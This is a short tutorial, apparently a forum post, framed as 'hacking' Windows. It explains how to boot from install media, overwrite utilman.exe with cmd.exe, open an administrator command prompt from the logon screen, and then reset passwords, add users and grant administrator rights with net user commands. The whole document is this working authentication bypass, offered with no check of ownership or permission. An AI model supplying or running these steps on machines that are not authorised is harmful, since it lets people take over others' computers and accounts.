Bypassing Windows &Hacking NT Authority Easy Any Version Of Windows

Resetting Password for windows NT Authority (any version)

Step 1 – Replace Utilman.exe with CMD.exe

Boot into the install CD or USB Installer that matches your operating system. If you do not have one there are several tutorials out there that can help you make one.

Click on Troubleshoot, then Advanced options, and finally Command Prompt.

At the command prompt type the following command:

Code:

copy c:\windows\system32\utilman.exe c:\

Please Note: could be d:\ not c so be aware of that! (If error not found then use d or another drive letter instead of c on all commands requiring a drive letter)

…and press Enter. You should see a “1 file(s) copied ” confirmation.

Now type this command and hit Enter:

Code:

copy c:\windows\system32\cmd.exe c:\windows\system32\utilman.exe

Answer with Y to the question about overwriting of the utilman.exe file. You should now see another file copy confirmation.

Reboot the computer normally into Windows.
Click ease of access icon


Step 2 – Manipulate the users you need

When the Windows logon screen is available, click the Ease of Access icon at the bottom-left corner of the screen. An ADMINISTRATOR Command Prompt will open. There are several commands you might need to use below. In them replace “myuser” with the actual username. Replace “newpassword” with your desired password.

Enter the following command to get a list of users:

Code:

net user

Enter the following command to change the password of an existing user.

net user myuser newpassword

Enter the following command to create a new user:

Code:

net user myuser newpassword /add

Enter the following command to elevate an existing user to an administrator:

Code:

net localgroup administrators myuser /add

putting it back after....

Once you have ran than commands that you need to run, log in and double check your work.
Step 3 – Putting Utilman.exe Back

Reboot into the install CD or USB Installer that you used earlier.

Click on Troubleshoot, then Advanced options, and finally Command Prompt.

At the command prompt type the following command:

copy c:\utilman.exe c:\windows\system32\utilman.exe